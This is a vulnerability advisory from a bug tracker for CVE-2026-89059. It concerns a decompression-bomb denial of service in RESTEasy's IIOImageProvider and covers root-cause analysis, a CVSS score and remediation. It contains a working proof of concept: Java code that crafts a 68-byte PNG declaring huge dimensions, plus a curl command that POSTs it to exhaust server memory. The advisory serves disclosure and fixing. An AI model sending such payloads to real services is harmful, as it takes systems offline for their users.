Bug 2519756 (CVE-2026-89059)

Summary: CVE-2026-89059 resteasy-core: RESTEasy: IIOImageProvider Unbounded Image Decode (Decompression-Bomb DoS)
Product: [Other] Security Response Reporter: OSIDB Bzimport <bzimport>
Component: vulnerabilityAssignee: Product Security <prodsec-ir-bot>
Status: NEW --- QA Contact:
Severity: high Docs Contact:
Priority: high    
Version: unspecifiedCC: aakkiang, anthomas, ant, anujha, aschwart, asoldano, aszczucz, avibelli, bbaranow, bgeorges, bmaxwell, boliveir, bstansbe, ccranfor, cescoffi, cfu, dandread, dkreling, dlofthou, drichtar, edewata, ehelms, ewittman, fmongiar, ggainey, gkimetto, gmalinko, gsmet, istudens, ivassile, iweiss, janstey, jmagne, jmartisk, jnethert, jpasqual, jpechane, juwatts, kaycoth, lthon, manderse, mdellweg, mfargett, mhulan, mosmerov, mposolda, msvehla, nipatil, nmoumoul, nwallace, olubyans, osousa, ozzy, pantinor, pberan, pcreech, pdelbell, pesilva, pgallagh, pjindal, pmackay, prisingh, probinso, rchan, rguimara, rhel-process-autobot, rkubis, rmartinc, rruss, rstancel, rstepani, rsvoboda, sbiarozk, security-response-team, skhandel, smallamp, snegrini, ssilvert, sthorger, taherrin, thjenkin, tmalecek, tqvarnst, varjain, vdosoudi, vmuzikar, watson-tool-maintainers
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: ---
Doc Text:
A flaw was found in RESTEasy's IIOImageProvider, which decodes attacker-supplied image request bodies without enforcing any limit on the declared image dimensions or pixel count. A remote, unauthenticated attacker can send a small crafted image declaring enormous dimensions to trigger a very large memory allocation, exhausting the JVM heap and resulting in a denial of service.
Story Points: ---
Clone Of: Environment:
Last Closed: Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On: 2536896    
Bug Blocks:    
Deadline: 2026-09-15   

Description OSIDB Bzimport 2026-08-19 16:52:38 UTC
# RESTEasy IIOImageProvider Unbounded Image Decode (Decompression-Bomb DoS)

| Field | Value |
|-------|-------|
| **Component** | `resteasy-core` (RESTEasy / JBoss / Red Hat) |
| **Affected version** | 7.0.2.Final |
| **Vulnerable classes** | `org.jboss.resteasy.plugins.providers.IIOImageProvider`, `IIOImageProviderHelper` |
| **Vulnerability type** | CWE-400 Uncontrolled Resource Consumption / CWE-1104 (image-decode bomb) |
| **Attack vector** | Remote, unauthenticated HTTP request body |
| **Reproduction status** | **Reproduced** (`OutOfMemoryError` from a 68-byte request) |

## Summary

`IIOImageProvider.readFrom()` decodes an attacker-supplied `image/*` request body into an `IIOImage` via
`ImageReader.readAll(imageIndex, null)` — with a `null` `ImageReadParam`, **no dimension/pixel-count check,
and no size limit**. A tiny image file declaring enormous pixel dimensions forces allocation of a
`width × height × bytesPerPixel` raster, exhausting the JVM heap. Amplification is effectively unbounded
(here 68 bytes → 1.6 GB attempted allocation → `OutOfMemoryError`).

## CVSS 3.1

**Base score: 6.5 (Medium)** — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

## Root-cause analysis

`IIOImageProvider.readFrom` (line 118-120) → `IIOImageProviderHelper.readImage(entityStream, reader, 0)`
(line 67-72):
```java
reader.setInput(iis, false);
return reader.readAll(imageIndex, null);   // null ImageReadParam — no region/subsample/dimension bound
```
The `ImageReader` is chosen purely from the client MIME type (`getImageReadersByMIMEType`, line 81).
`Content-Length` is never consulted, and no `getWidth()/getHeight()` guard precedes decode.

## Reproduction

### Environment
RESTEasy 7.0.2.Final embedded in Undertow, JDK 21, server started with `-Xmx128m`. Resource:
```java
@Path("/image")
public static class ImageResource {
    @POST @Consumes("image/*") @Produces("text/plain")
    public String img(IIOImage image) {
        return "decoded " + image.getRenderedImage().getWidth() + "x" + image.getRenderedImage().getHeight();
    }
}
```

### POC script — craft a 68-byte PNG declaring 20000×20000 (1.6 GB raster; < 2³¹ bytes to avoid int overflow)
```java
// MakePng.java  (javac MakePng.java && java MakePng  -> /tmp/bomb.png)
import java.io.*; import java.util.zip.*;
public class MakePng {
  static void chunk(ByteArrayOutputStream o,String t,byte[] d)throws Exception{
    o.write(new byte[]{(byte)(d.length>>>24),(byte)(d.length>>>16),(byte)(d.length>>>8),(byte)d.length});
    ByteArrayOutputStream b=new ByteArrayOutputStream(); b.write(t.getBytes("US-ASCII")); b.write(d);
    byte[] tc=b.toByteArray(); o.write(tc); CRC32 c=new CRC32(); c.update(tc); long v=c.getValue();
    o.write(new byte[]{(byte)(v>>>24),(byte)(v>>>16),(byte)(v>>>8),(byte)v}); }
  public static void main(String[] a)throws Exception{
    int w=20000,h=20000; ByteArrayOutputStream o=new ByteArrayOutputStream();
    o.write(new byte[]{(byte)137,80,78,71,13,10,26,10});
    ByteArrayOutputStream ihdr=new ByteArrayOutputStream();
    ihdr.write(new byte[]{(byte)(w>>>24),(byte)(w>>>16),(byte)(w>>>8),(byte)w});
    ihdr.write(new byte[]{(byte)(h>>>24),(byte)(h>>>16),(byte)(h>>>8),(byte)h});
    ihdr.write(new byte[]{8,6,0,0,0}); chunk(o,"IHDR",ihdr.toByteArray());
    Deflater d=new Deflater(); d.setInput(new byte[16]); d.finish(); byte[] buf=new byte[64]; int n=d.deflate(buf);
    chunk(o,"IDAT",java.util.Arrays.copyOf(buf,n)); chunk(o,"IEND",new byte[0]);
    try(FileOutputStream f=new FileOutputStream("/tmp/bomb.png")){ f.write(o.toByteArray()); }
  }
}
```
```bash
curl -s -o /dev/null -w "status=%{http_code} time=%{time_total}s\n" \
  -X POST -H "Content-Type: image/png" --data-binary @/tmp/bomb.png http://127.0.0.1:8080/image
```

### Observed output (actual)
Server log:
```
Caused by: java.lang.OutOfMemoryError: Java heap space
	at ...
	at javax.imageio.ImageReader.readAll(ImageReader.java:1065)
	at org.jboss.resteasy.plugins.providers.IIOImageProviderHelper.readImage(IIOImageProviderHelper.java:71)
	at org.jboss.resteasy.plugins.providers.IIOImageProvider.readFrom(IIOImageProvider.java:120)
```
A single 68-byte request forced a ~1.6 GB allocation → `OutOfMemoryError`. Under concurrency (or on a
constrained heap) this exhausts the server heap and denies service.

## Impact
Unauthenticated, high-amplification memory-exhaustion DoS on any endpoint consuming `IIOImage`.

## Remediation
Read the header dimensions first (`reader.getWidth(0)`/`getHeight(0)`) and reject images whose pixel count
exceeds a configurable maximum before `readAll`; enforce a maximum request-entity size for image endpoints.